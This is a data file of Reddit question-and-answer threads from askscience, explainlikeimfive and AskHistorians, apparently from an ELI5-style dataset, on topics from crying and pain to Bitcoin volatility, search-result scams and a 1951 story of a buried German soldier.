{"q_id": "2r1d4d", "title": "Does crying help relieve pain?", "selftext": "Does crying psychologically help ease pain or is it just a way to communicate pain?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2r1d4d/does_crying_help_relieve_pain/", "answers": {"a_id": ["cnbxpv0"], "score": [19], "text": ["Jonathan Rottenberg has done a bunch of recent work on this.  He suggests that the effects of crying on distress are fairly heterogeneous. \n\nIn an experimental context, crying tends not to provide psychologically cathartic effects. It may even exacerbate distress and increase physiological arousal.  On the other hand, in observational (survey) studies, participants report that crying is cathartic. This difference can be explained by limitations and features of these different research designs (e.g., asocial experimental environments or memory biases, respectively).\n\nThe effects of crying also depend on the social context. If crying garners the support of others, then you'll be more likely to report a feeling of catharsis.  Similarly, if the situation that provoked the crying has been resolved, then you'll also be more likely to indicate that your crying is beneficial.  On the other hand, negative social emotions like shame and embarrassment may be accompanied by a crying episode that is less likely to be cathartic.\n\nIn general, personality factors (e.g., OCEAN) and gender do not predict whether crying is cathartic. \n\nDepressed individuals tend to report fewer benefits from crying than non-depressed individuals. The same has been found for anxious individuals.\n\nI'm not super up-to-date with the literature on crying, but our understanding of when, where, for whom, and why crying is beneficial, neutral, or harmful is not entirely well fleshed out.  However, as with most things in psychology, we do know that it depends on the context.\n\nEdit: I just realized that you were probably talking about physical pain.  All of the above has to do with mood effects (i.e., psychological distress)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3uezcl", "title": "the anime akira.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3uezcl/eli5_the_anime_akira/", "answers": {"a_id": ["cxebvbc", "cxecsct", "cxecwww"], "score": [4, 4, 16], "text": ["There's a hidden comment here.\n\nWhat exactly is your question? \n\nHave you read the comic? The anime turns 1000 pages into 2 hours of movie. A lot is lost.", "_URL_0_\n_URL_1_\nThose two explain the stories really well and are a great watch", "The government is conducting research on psychic children (why they appear aged I have no idea) and while attempting to recover one of the children that escaped, they picked up Tetsuo as well. They discovered that his brain pattern (whatever it was called) resembled Akira, a psychic boy who had caused the destruction of Tokyo 30 years earlier (opening scene). Tetsuo learns of Akira and escapes the research facility to go find him, who is supposedly frozen underneath the stadium.\nWhen he gets to Akira's chamber he finds out that he's dead and just his organs remain. Kaneda fights Tetsuo and eventually Akira reforms from his organs to stop Tetsuo. It causes another explosion. The end."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.youtube.com/watch?v=4iGnPZp6_-Q", "https://www.youtube.com/watch?v=j9syZgaJXUk"], []]}
{"q_id": "689fm7", "title": "why is so much emphasis placed on the first 100 days of the u.s. presidency...why not 60 or 120 or any other number?", "selftext": "I know that the beginning of a new administration is a good litmus test for how effective it will be, but why exactly 100 days? Is there something specific about what can happen during this timeframe, or is it mostly arbitrary?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/689fm7/eli5_why_is_so_much_emphasis_placed_on_the_first/", "answers": {"a_id": ["dgwp7oa", "dgwpfht", "dgx0dia", "dgx1e3w", "dgx4lum"], "score": [317, 70, 26, 33, 2], "text": ["It dates back to FDR's first 100 days in office. During his first 100, he created a madhouse of policy change, bill drafting, signing, and law shifts in the nation. It was considered so intense that it became common place to measure the first 100 days of newer presidents against it. While we no longer compare to FDR for the 100 day rule, it's generally believed that the first 100 can give us insight into what might be the new norm. If they can hold their promises, unify, or in some sad cases. Divide.\n", "The effective time that a president can actually govern is a lot shorter than most people think it is.\n\nCongress is elected every 2 years, and they are fairly unlikely to actually get anything done in the year before an election (since everyone's focus is on campaigning, no one wants to take direction from the president during this time).  So your second year is basically toast.  The last year you are running for reelection, so it's toast too.  You only really get your first and third years to do shit.\n\nSo the president starts January 21st as their first full day.  Congress is basically useless after December 31st, but nothing happens over Christmas so let's make it Dec 1st. And you lose August since that's Congress's summer break.  So you only really get 9 months in that first year.  \n\nSo when it comes down to it, the number 100 is selected basically brutally but it's around 1/3 of your total effective time in the first 2 years.  It's long enough that you should have had time to build your government and get your people confirmed, then move on to the most important parts of making legislation. \n\nIn a normal (nontrump) world, legislation is a LONG process.  You start it by proposing a bill, then there's endless debate and amendments before the damn thing actually gets voted on.  For big plans, this can take a long time.  Obamacare took something like 18 months.  So if a president wants to make something happen in their first term, they REALLY need to have already started on it within that first 100 days.\n\nSo while the actual 100 number is somewhat arbitrary, having a measuring point for a new president is actually quite useful.\n\nAs for why it's not shorter, it takes a few months to get the confirmations through with.  So making it something like 60 days does not have much time for the president to turn their attention to legislation.  Longer might make sense, but really a president does not get very much time and if you make it longer you start to get away from their \"beginning\" of the presidency. ", "In the case of President Trump, a lot of it has to do with the amount of time he spent campaigning about how much he would accomplish and change with his 100 day plan to fix America.  Since the 100 days have passed, people are now looking at the plan and seeing if he accomplished the major parts of it.  That and 100 is a nice round number that most people won't question as a milestone.", "In addition to good answers by /u/TheTurge and /u/Miliean1 , I'd like to add that just because a period of time is arbitrary, doesn't mean that its useless. As long as you're comparing *the same* arbitrary amount of time between administrations, it's still perfectly valid to make comparisons.", "My 2 cents here, there's a book out out by the Harvard Business Review called \"The First 90 Days\" that is a good reference for those moving into a new (management) role in a company. The very first line in the book, \"The president of the United States gets 100 days to prove himself; you get 90.\" It goes on to assert that success within those first few months can go a long way in setting the stage for later success or failure. Part of that onboarding period is when you build your team, start developing and aligning your strategy with how things actually work, earn some early successes, etc. So while the 100 days number may be arbitrary, the concept of \"early wins\" should not be a foreign concept to a businessperson."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "2egtw9", "title": "wouldn't it be beneficial to attach a camera to a whales body to explore the deep sea, as we know very little about it?", "selftext": "the camera could have some infrared technology or something like that", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2egtw9/eli5_wouldnt_it_be_beneficial_to_attach_a_camera/", "answers": {"a_id": ["cjzcdh4", "cjzch7r", "cjzcigo", "cjzeas5", "cjzm9fp", "cjzmmfn", "cjznpvk", "cjzt0gv", "cjzwa3n"], "score": [14, 58, 3, 8, 5, 3, 7, 2, 2], "text": ["The deepest diving whales are sperm whales, and they only dive to about a mile and a half.  The deep sea is much deeper, up to 7 miles deep.  ", "Most whales don't dive that deep -- although sperm whales do, and they also happen to be one of the least-studied mammals on the panet, generally for that reason. So straight away you've got a problem -- finding a suitable whale!\n\nInfrared cameras would be of no use in the ocean. Apart from seagoing mammals, all other acquatic creatures have a body temperature which is more or less the same as the ocean they're swimming in. So there's no body heat for infrared to pick up.\n\nSo that leaves us with visible light. You'd need a light that's waterproof, which can withstand extraordinary pressures, and which is powerful enough to illuminate many metres of seawater (bear in mind that even sunlight can't penetrate much more than 20 metres into the ocean).\n\nEven if you managed to design such a light and make it small enough to attach to a whale's body, you'd also need a battery for it. As anyone who owns a laptop or smartphone knows, generating light is one of the quickest ways to run down a battery. The battery required to power our hypothetical high-powered underwater light for many hours would be enormous.\n\nFinally, you'd need to retrieve the camera once your whale has finished making its deepsea movie for you. So you'd need to design something that automatically detaches when the whale surfaces, and will then float and send out a powerful-enough \"here I am\" radio signal for it to be picked up even if it's thousands of miles out in the ocean.\n\nAll of the above is, maybe, theoretically possible, but not with current technology. If someone had many millions of dollars to invest they could possibly come up with the necessary technology. But then if someone has millions of dollars to invest in deepsea exploration, they'd be more likely to use the proven technology of deepsea crewed or robot submarines, which we've been successfully sending to the ocean floor since the 1970s.", "It might be beneficial to see what whales do but not to explore the ocean (also the difficulty of attaching one). The whales just don't dive deep enough compared to man made equipment. \n ", "Related question: why don't scientists record   whale's echo location,\nand use that instead of light to find out what's down there?   It\ncan't be much more complex than radars we already have.  That  way\nmounting hydrophones on whales would provide a huge store   \nof data, much like SETI, that can provide decades of raw input for researchers.", "Has been done.\n\nSaw it on TV a few years ago.\n(National Geographic might have the video?)\n\nSpecially customized camera to handle the high-pressure, special mount to attach it to the spermwhale, etc.\n\nFrom memory, all goes well until at a certain depth one of the whales diving alongside the tagged whale comes up close, inspects the camera, peers at it with one of its beady eyes and then smashes the camera. (Creepy footage)\n\nIn other words: The whales won't let you.\n", "They actually do this a lot. It's called a critter-cam. They are attached to a variety of wildlife. Including whales.", "It would be, and it's been done. For example:\n\n_URL_0_", "In addition, it' similar to exploring space by strapping a camera to a comet: most of what you're going to record is going to be empty space. Hours and hours and hours of dull nothingness. Empty water. Maybe some schools of fish but it' snot like the whale is going to exciting and interesting places. ", "I don't know the answer, but I like to imagine this is every marine biologist [upon reading your question.](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["https://www.youtube.com/watch?v=DArqBmkO_p0"], [], ["http://img.pandawhale.com/post-36230-Jeff-Winger-speechless-gif-goo-lYa3.gif"]]}
{"q_id": "60pzkp", "title": "what would happen if u aimed the barrels of two guns directly against each other and pulled the triggers at exactly the same time?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/60pzkp/eli5_what_would_happen_if_u_aimed_the_barrels_of/", "answers": {"a_id": ["df8civs", "df8cjof", "df8clgc", "df8n5ki"], "score": [3, 11, 17, 2], "text": ["Let us assume that you can aim them exactly together, and that you can pull the trigger at precisely the same time. There are still some variables in the mechanism and combustion of the cartridge but let us also assume those are matched.\n\nThe bullets would travel down the barrels pushing out muzzle blast and eventually splatter against each other, likely destroying themselves in a shower of lead and perhaps copper.", "the bullets would impact each other mid flight and depending on conditions, either shatter or impact weld\n\n_URL_0_", "How far apart are they? if they are a modest distance a part, the bullets would collide (assuming everything is identical between the guns and the ammo used) in the middle either causing them to fall where they impact or more likely ricochet in some unknown direction due to minor flaws in each.\n\nIf the barrels are touching each other? is the connection air tight? If so the weapons would likely explode from the force of the pressure caused by the explosion in the chamber being unable to escape through normal means (the barrel). ", "Something probably very much [like this](_URL_0_), but with lead or copper.\n\nObviously, the material, size, speed, and distance are all variables that can change the effects either in small or large ways."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.thefirearmblog.com/blog/wp-content/uploads/2009/03/1-2.jpg"], [], ["https://www.youtube.com/watch?v=XJk8ijAUCiI"]]}
{"q_id": "2qdoyo", "title": "why do people use liveleak instead of youtube?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2qdoyo/eli5_why_do_people_use_liveleak_instead_of_youtube/", "answers": {"a_id": ["cn55f3t", "cn57n48", "cn59nu9", "cn5jd8k"], "score": [122, 38, 2, 2], "text": ["Liveleak doesn't have the same rules about violence. Liveleak will allow death videos and YouTube will take them down as soon as they know about them.", "On Liveleak you can watch a load of people getting their heads cut off, and on youtube you can watch Ray William Johnson.... Not too sure which one would be worse.", "People act like liveleak is pure gore and stuff like that. While it does have some gore, it is often like youtube. They have funny stuff, they have cute stuff. I had/have an account there username Gretzkys_Jetskis  and had some mild success there.\n\n\nWhen you upload a video, LiveLeak mods decide whether your video will be \"featured\" or not. It's not based entirely on view or voting. - when I used live leak I would check it every day for their new features videos. In that way; LiveLeak operates more like ebaums/buzzfeed. \n\nCompare that with youtube. It's completely different. I can go on YouTube and spend hours watching muppet babies videos which will eventually lead me to dark wing duck videos, then videos about duck, turducken, gravy, thanksgiving videos, etc. - live leak is self contained but it serves a purpose. If you can't find a video of recent events (journalist beheadings/terrorist produced videos/etc) that youtube won't host, you can almost always find it on liveleak. \n\nSo really. It's a back up for YouTube, an excellent source for video mirrors. The only downside to liveleak is that their search function is pretty much useless. \n\nAlso; if you really want real gore - go to _URL_0_ - I wouldn't suggest I though. I'm just saying; liveleak is a pillow fight compared to TheYNC.", "Liveleak allows a lot more things than does youtube.  /r/watchpeopledie would not exist if it were not for the lax rules on liveleak."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["www.theync.com"], []]}
{"q_id": "21ifa9", "title": "why does bitcoin fluctuate so heavily?", "selftext": "Like, the prices of this crazy thing that isn't real (because it can't be real when our money isn't real) is nuts. Plus, in 2 months it HALVES it's value? \n\nWhat kind've hyper inflation shit is going on?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/21ifa9/eli5_why_does_bitcoin_fluctuate_so_heavily/", "answers": {"a_id": ["cgdb6bn", "cgdcvhu", "cgddvjx", "cgdh9mz", "cgdhgpb", "cgdrhfm"], "score": [12, 32, 7, 5, 2, 2], "text": ["With something stable and high volume like the dollar or the euro, investors have faith that the value will remain pretty steady over time, so supply and demand of these currencies remains steady. The long term value of the bitcoin, on the other hand, is a complete unknown. It could even be made illegal, in which case bitcoins would have no value. Since it's future value is such a big unknown, supply and demand for it fluctuate wildly. I know it sounds like a paradox -- it fluctuates because it tends to fluctuate -- but I think that's how it works.", "Traditional currencies trade based on economic factors about the country they are tied to.  The factors to look for are well known and traders have a good idea how new data will affect the price.  This is why currency values are relatively stable.\n\nBitcoin's value is based almost entirely on speculation.  Speculative asserts are more volatile.\n\nThe same reason why a deck of playing cards will always cost you the same, but how much a friend wants for a Pokemon card can vary wildly.", "Because currently it is being bought and sold more on speculation of its future value than actually being used as currency, so its value is fluctuating more like a stock than a currency. Also the [Chinese disallowing banks to work with websites that trade bitcoins](_URL_0_) caused a big drop in the value.", "How Can Bitcoin Be Real If Our Money Isn't Real?", "The most important thing to consider is that the price is based entirely on what people are currently buying or selling it for (as with all cryptocurrencies). The majority of people involved aren't actually actively buying or selling currency, but there's a decent amount of people with large amounts of capital who look at the fluctuations and trade to make a profit. \n\nSo let's say Bitcoin was typically 1% more valuable at noon and 1% less valuable at midnight compared to dogecoin. An investor could constantly buy when it's less valuable and sell when it's more valuable to increase the amount of coins they own compared to everyone else. Now, remember that the price then is dependent upon what this trading market prices the coins for. It's very common for traders to encourage free-falls of the price after selling in order to buy more and let it go back up, profiting on both ends.\nMost people involved with these currencies are not concerned with the short term price fluctuations and are just concerned with either 1. a longterm upward trend of the currency or 2. the currency actually being used to buy and sell goods and services. ", "Because its a commodity, not a currency\n\nLike all commodities its traded for investment and to turn into currency.   Very few enities take BC as currency\n\nAs a commodity makets determine the price.  Markets javen't yet figured out the value vs risk pricepoint yet.   It will stabilize over time.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://online.wsj.com/news/articles/SB10001424052702304688104579465291947128528?mg=reno64-wsj&amp;url=http%3A%2F%2Fonline.wsj.com%2Farticle%2FSB10001424052702304688104579465291947128528.html"], [], [], []]}
{"q_id": "o7ksq", "title": "What is the most physically painful thing that a person can endure?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/o7ksq/what_is_the_most_physically_painful_thing_that_a/", "answers": {"a_id": ["c3f1cm0", "c3f1e7v", "c3f1p58", "c3f1qhz", "c3f27gr", "c3f29y3", "c3f2cdb"], "score": [14, 111, 3, 3, 2, 6, 2], "text": ["Cluster headaches are often considered the worst pain known to medicine. They're universally reported as being worse than childbirth, and often worse than having a limb sawed off. They're called \"suicide headaches\" because of the high rate of suicide among sufferers, who get them regularly for up to 3 hours at a time.", "_URL_1_\n\n\"The pain of cluster headaches is markedly greater than in other headache conditions, including severe migraines; experts have suggested that it may be the most painful condition known to medical science. Female patients have reported it as being more severe than childbirth.\"\n\n\nOr, alternatively, _URL_0_\n\n\"The severity of the pain from an Irukandji jellyfish sting is apparent in the 2005 Discovery Channel documentary Killer Jellyfish about Carukia barnesi, when two Australian researchers are stung. Even under the \"maximum dose of morphine,\" Teresa remarked that she \"wished she could rip her skin off,\" and is later seen writhing uncontrollably from the pain while lying on her hospital bed. In one scene, Teresa's feet are shown contorting and digging into the bed, and she is wiggling her toes and kicking her feet around. When the camera moves back, Teresa is seen rubbing her face, her body is contorting in agony, and her legs are rapidly sliding and kicking around on the bed. Jamie, at his worst, is also seen writhing in pain, curled up in a ball and barely able to speak.\"", "From a scientific standpoint, I would argue this question is somewhat problematic because different people experience pain differently. There are even medical conditions where people fail to feel pain, including congenital analgesia. There is a documentary about a girl named Gabby Gingras who was born with congenital analgesia combined with anhydrosis, an inability to regulate body temperature by sweating. \n\n(_URL_0_)\n\nWhile I found the documentary attempted somewhat to sensationalize this girl's problems, it still points up the notion you might need to be a bit more specific in your definitions.", "Thalamic Pain Syndrome, according to my anatomy professor.", "Isnt 'endure' a very subjective term , and hence not very scientific or precise?", "I guess this will never really be known because you can't really scale pain using different individuals... one would have to be the unluckiest person in the world  to have suffered all aforementioned conditions to be able to sort them on a pain scale.\n\n\nAs for me, I've had a surgery (Nuss procedure) performed to correct a severe case of pectus excavatum when I was 16. It was actually a 2nd surgery to replace the titanium bar they had fitted me with in the first place because it was a tad too small and I physically couldn't even yawn with that first one inside me. That surgery took 5 hours and I got a lung collapse during it, pneumothorax etc, good times..\n\nI had epidural analgesia but it disconnected itself when they transfered me to a regular hospital bed when I got out of the ICU. Things started to get really bad a couple hours later, to the point I could not breath because even the slightest gasp for air would produce an immensely sharp pain.\n\nMurphy's law being what it is, all the anaesthetists of the hospital were busy in surgery rooms. I was convinced I would die there.  They could not administer me shots of morphine or dilaudid because those give me bad sides effects like dangerously slow heart rate. After a couple hours of agony (seemed like months..) they got back to me.. never saw anyone this sorry in my entire life. They explained to my mom who was helpless the whole time that I was feeling something similar to getting your chest crushed by having a truck run over you.\n\nOh the pain.  But I am so grateful it is nothing chronic..\n\nTL/DR: hard to grade pain, personal anecdote", "As someone who has experienced some painful injuries (gun shot wound, shrapnel wound, numerous broken bones, and burns), the most painful in the long run, was frostbite. The recovery was far worse than burns I have had. While it may not have ever reached the climax of pain that my more severe injuries have, being at a 9/10 for weeks on end was misery. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Irukandji_syndrome", "http://en.wikipedia.org/wiki/Cluster_headache"], ["www.alifewithoutpain.com"], [], [], [], []]}
{"q_id": "43snpz", "title": "How different from contemporary Roman Catholicism was the Christianity in Ireland when Pope Adrian IV issued the Laudabiliter in 1155?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/43snpz/how_different_from_contemporary_roman_catholicism/", "answers": {"a_id": ["czkx3ak", "czl19ej"], "score": [4, 3], "text": ["Although someone else will be able to provide a shorter-term context for your question, I can say that Christianity in Ireland and Scotland in the early Middle Ages was quite different from the Roman Catholicism accepted in England.\n\nThe 'Culdees' provide one example of how removed Celtic people often were from the Roman Church, these being individuals who lived an eremitic lifestyle, beyond the reaches of society. This practice had occurred in the Middle East since practically the dawn of Christianity and began too in Ireland in the 7th century and continued until Ireland was brought into the Roman fold in the 12th century. There are no less than 9 areas in Ireland where it was common for young men to remove themselves from established settlements and live a holy life of prayer in almost complete seclusion. Like their Middle Eastern counterparts, they deliberately attempted to find the most wild and deserted places - bogs, forests, crags, even islands off the Atlantic coast of Ireland. Removing themselves from society to form a stronger link with God, they presented a potential challenge to lay powers, who themselves claimed to be representatives of God.\n\nCeltic monasticism openly looked to the East for its inspiration, as shown in the words of an 8th century liturgical text from Bangor Monastery that once stood in modern-day Northern Ireland:\n > This house full of delight, Is built on the rock, And indeed the true vine, Transplanted from Egypt.\n\nWe can also look at the 'seven monks of Egypt in Desert Uilaig,' recorded in the 9th century by Oengus the Culdee, an Irish monastic bishop. It was claimed that just invoking the names of these monks from the East was enough to ward away injury.\n\nIt becomes apparent, therefore, that many Irish and Scots did not look to Rome for their spiritual guidance, but to the Eastern Churches, drawing direction from the people, monks and holy men from the Levant in the early Middle Ages. This early lack of conformity helps to explain why the Pope published a Bull in the 12th century to bring Ireland into the Roman Church, and by doing so, supplying Henry II of England with a 'casus belli' to invade.", "In the longer term, as /u/Hollowegian has described, Ireland was pretty different from mainstream Latin Christianity (Roman Catholicism is a 16th century invention!), but when Laudibiliter was issued it was much less so. The 'Culdee' or 'C\u00e9il\u00ed D\u00e9' movement has at its height in the seventh and eight centuries, for example!\n\nIn fact, Irish kings, in particular those who aspired to the High Kingship such as the Ui Briain/O'Brians of Munster, had, like many other kings in Western Europe in the late 11th and early 12th century taken up the cause of church reform with gusto, inspired by the reforming popes (the Ui Briain Kings of Munster exchanged several letters with both Gregory VII and Archbishop Lanfranc of Canterbury in the late 1000s on ecclesiastical matters). \n\nBy 1155, Ireland had replaced the older, monastic organisation of the church with a modern diocesan structure and had received the papal blessing and 'pallia' (ceremonial archbishops' scarves) from Rome. This was all undertaken by native kings and clergy based on ideas imported from the continent, with reformers such as Malachy of Armagh traveling to France and Rome and maintaining relationships and friendships with leading continental churchmen, such as Bernard of Clairvaux. If there were any allegations to be made against the church in Ireland diverging from mainstream norms it was in the lack of effort made to enforce clerical celibacy and the hereditary succession to church offices, but this was hardly radically different from in Europe where even around 1100 high ranking clerics were publicly arguing that clerical marriage be allowed and the battle against simony and clerical marriage dragged on for centuries.\n\nSo, in short, Ireland wasn't that different from mainstream Latin Christianity in 1155, certainly no more weird that Scottish, Scandinavian, Spanish or Central/Eastern European Christianity. However, the trope of uncivilised and barbaric Irish people was an effective tool to justify the invasion of Ireland (read Gerald of Wales' description of Ireland to find out just how wacky those allegations could be) and continued to be so right into the Early Modern Period.\n\nLaudabiliter is more complicated though. It's easy to see it as a convenient 'causus belli' for Henry II to invade Ireland, except that Henry II never did invade Ireland and the bull was issued 15 years before any organised English force came to Ireland. When they did, in 1169, it was as mercenaries and allies to a down-on-his-luck Irish king and it was only after his death that the English, led by Richard 'Strongbow' de Clare seized his kingdom and threatened (inplicitly) to form an independent Anglo-Norman kingdom in Leinster. It was only THEN that Henry II stepped in to stop such a potential threat to his power from forming.\n\nAs for the papal Bull, the best explaination I've heard is that there was a faction in Henry's court in the 1150s which favoured an invasion of Ireland, for whatever reason, and they gained a bull legitimising such a potential invasion (from the only English pope ever, one might add!) but Henry, again for whatever reason, decided against the invasion. So the bull was forgotten until circumstances forced Henry to go to Ireland in 1171-2 and then was conveniently dug back out.\n\nSources: \nSean Duffy, 'Ireland in the Middle Ages' (Good general info); \nAubrey Gwynn, 'The Irish Church in the Eleventh and Twelfth Centuries' (Lots of detail on the Irish church and the reform movement in Ireland, plus Laudibiliter); \nRobert Bartlett, 'Gerald of Wales' (Has a detailed discussion of the 'savage Irishman' trope, its intellectual history and the motivations behind it)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "8d0m4c", "title": "Insects, with their compound eyes, don't have irises like mammals, etc, do. Our irises help protect our retinas from damage in bright light while letting us see okay in dark light still. Do insects forego this versatility? Or do they solve it some other way?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8d0m4c/insects_with_their_compound_eyes_dont_have_irises/", "answers": {"a_id": ["dxlxlde"], "score": [2], "text": ["Insect light- and dark-adaptation is less well studied than vertebrate counterparts, but they do have such mechanisms. I think the first thing to know is that the shape of the insect compound eye makes this a different type of problem to begin with. As you can see at _URL_0_ , the individual units of an insect's eye is something of a pinhole camera with a long tube and the receptors along the walls, with the light focused from the cornea spread out across this relatively large surface, which is very different from the vertebrate counterpart of a cornea and lense focusing all of the collected light into a relatively small retina. You can actually visualize this \"pinhole-ness\" by seeing the pseudopupill, the dark spot that appears on an insect's eye because you are looking down the pinhole for some ommatidia pointed at you, but seeing reflected light off the corneas of ommatidia pointed away from you _URL_1_\n\nThat aside, your suspicion that there may be \"other mechanisms\" are correct. Some of this is a change in the chemical properties of photoreceptor cells to alter the sensitivity to light, requiring more or fewer incident photons to elicit excitation as needed. At least some insects also exhibit mechanical changes in response to bright light, changing the shape of of the ommatidia and the density of pigment granules along its side.\n\n_URL_2_\n_URL_3_\n\nThat second paper includes neat pictures showing the physiological changes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Ommatidium", "https://en.wikipedia.org/wiki/Pseudopupil", "https://link.springer.com/content/pdf/10.1007%2FBF00657606.pdf", "http://jeb.biologists.org/content/jexbio/219/16/2435.full.pdf"]]}
{"q_id": "agrxjg", "title": "how can scammers get top search results on google", "selftext": "An older relative of mine decided to call Amazon and googled their phone number. She called a number she found at the first result. It was apparently a scammer of some sort and long story short, he got away with some money from her.  \n\nI am aware of the efforts that companies go to in order to have top results on search engines. So how does a scammer with presumably limited resources manage to get the top result on Google above whatever page Amazon probably has with contact information on it?  \n\nFWIW I don\u2019t live in the same state of said relative and I never saw exactly what she googled or what the page looked like. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/agrxjg/eli5_how_can_scammers_get_top_search_results_on/", "answers": {"a_id": ["ee8lunw", "ee8nqrf", "ee9m0vz"], "score": [6, 3, 2], "text": ["She may already have a redirect on her browser. Happened to my boss. Instead of going directly to our bank's website, she'd Google the bank, and click the top result. I watched her do it and although the top result said Chase, the description was completely off and it was a malicious site. That she had already put her username and password into. ", "Look up SEO poisoning.\n\nThey essentially trade on the reputation of hacked/abused sites to get links and mentions where the search engines look.", "It's called Search Engine Optimisation (or SEO), the basic premise is they find keywords users will use and then optimise their website so they are found first, so in your case, the \"scammer\" optimised their website for keywords such as \"amazon phone number\" and \"how to call amazon\", they will optimise using onsite keywords and use nefarious means to get links to their website with the keywords in. This works as Amazon is unlikely to optimise it's pages for silly stuff like this so anyone could create a page called amazon phone number and rank highly for it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4uxeoz", "title": "Did Native Americans have any lore relating to poison ivy?", "selftext": "I'm thinking along the lines of Northeastern or Mid Atlantic tribes.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4uxeoz/did_native_americans_have_any_lore_relating_to/", "answers": {"a_id": ["d5ubn9x"], "score": [7], "text": ["Depends what you mean by \"Lore\". Most native folklore was in the form of an oral tradition, and as such we lost way more than we've saved.\n\nJacques Rousseau, in *\u00c9tudes ethnobotaniques Qu\u00e9b\u00e9coises* (1945), says that when there was \"too much water in the blood\" the Mohawks of Kahnawakhe (Caughnawaga) would add some crushed poison ivy to a poultice of buttercup and cover it with a pierced animal skin to induce bleeding and to \"express excess water\".\n\nre:\n\n \"*Quand    il   y   a   trop   d'eau   dans    le sang\",   fragmenter   la  plante,  y   ajouter  quelques   morceaux d'herbe  \u00e0  puce (Rhus  rad\u00eecans),    et   apr\u00e8s   avoir   appliqu\u00e9 sur  le   patient   une   peau  trou\u00e9e  d'animal   y   d\u00e9poser   le  m\u00e9lange  humect\u00e9  d'eau  froide.    Il    se  forme  une  plaie   par   o\u00f9 s'\u00e9coule   le  surplus  d'eau   du   sang.*\"\n\nHe also claims that they also used it as a vesicant, as did the Potawatomi and the Meskwaki of the Great Lakes area.\n  \n\nlink:\n\n_URL_0_\n\nAlso, the Ojibway knew of it and its effects, but had no use for it, ([Huron H. Smith, 1932, Ethnobotany of the Ojibwe Indians](_URL_2_)).\n\nNow, a lot of the \"lore\" surrounding the ethnobotanical uses of Poison Ivy has come under scrutiny and is suspect, according to Senchina (2006) (_URL_1_) (behind paywall - abstract available)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www2.ville.montreal.qc.ca/jardin/archives/rousseau/publi/Etudes_ethnobotaniques_quebecoises.pdf", "http://www.bioone.org/doi/abs/10.3119/0035-4902(2006)108%5B203%3AEOPIPO%5D2.0.CO%3B2", "http://blogs.nwic.edu/briansblog/files/2013/02/Ethnobotany-of-the-Ojibwe-Indians.pdf"]]}
{"q_id": "5xeg7u", "title": "What evidence is available that the German Soldier being buried alive for 6 years is credible?", "selftext": "Link is dead for the moment: _URL_1_  \n  \nGoogle cache:_URL_0_  \n  \nText according to the article:  \n > Madera Tribune, Number 65, 18 June 1951 \u2014 Five Companions Dead German Soldier Buried Alive 6 Years, Lives\nWARSAW \u2014(U.P.) \u2014A 32-year-old German soldier who said he had been buried alive for six years in a Nazi supply depot was given a good chance by hospital authorities today to regain his health and eyesight. _ . The six-foot German, who was not identified by authorities at Gdynia\u2019s Akademia hospital, said he and five companions were trapped in an underground German army food and supply warehouse by retreating Nazi troops who dynamited the entrance early in 194.\").\n\n > The soldier and one other survivor of the entombment stumbled bearded, blinded and blubbering from the bunker about a month ago when Polish workers cleared wreckage from the entrance to the depot at Babie Doly, near Gydnia. The second survivor dropped dead of shock on emerging into the daylight. The other said two of his companions committed suicide a few months after they were entombed by German troops who did not know the soldiers were in the depot. The trapped men were believed to have been looting. Two others of the trapped soldiers died of unknown causes, the survivor said. Air entered the tomb through an air vent undamaged by the explosion. Water trickled through cracks and the men had plenty of food. But they lived in darkness after their supply of candles was exhausted two years ago. The trapped men had no tools with which to dig their way out of the concrete bunker, the survivor said. He said they washed in Rhine wine and encased their dead in huge flour sacks. The bodies were almost perfectly mummified.  \n  \nThe only article I can find is this supposed report, and the reddit thread. Is there any other evidence/information available?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5xeg7u/what_evidence_is_available_that_the_german/", "answers": {"a_id": ["deho6es", "dehsxbq"], "score": [45, 102], "text": ["I found it in the Chicago tribune\n\n_URL_0_\n\nAnd Time\n\n\n_URL_1_\n\nApparently the place they were found was called Babie Doly. \n\nAll of the reports are very similar. It would be crazy if this is true, but I can't see how it's possible to have survived like that. ", "Ok, so most German articles and literature on the subject of the \"Bunkerpeople of Gdingen\" treats this story as a hoax. It's mostly newspaper and magazine articles in connection with both the theater play *Die Legende von Babie Doly* and the 1958 movie *Nasser Asphalt* (Wet Asphalt, starring Horst Buchholtz, known to an English-speaking audience for playing the German communist in Billy Wilder's *One, Two, Three*).\n\nIn their reviews for the movie, most German and one Swiss newspaper call the story a hoax, which seems to go back to a [Der Spiegel investigation](_URL_1_) from 1958. Der Spiegel points out that the story 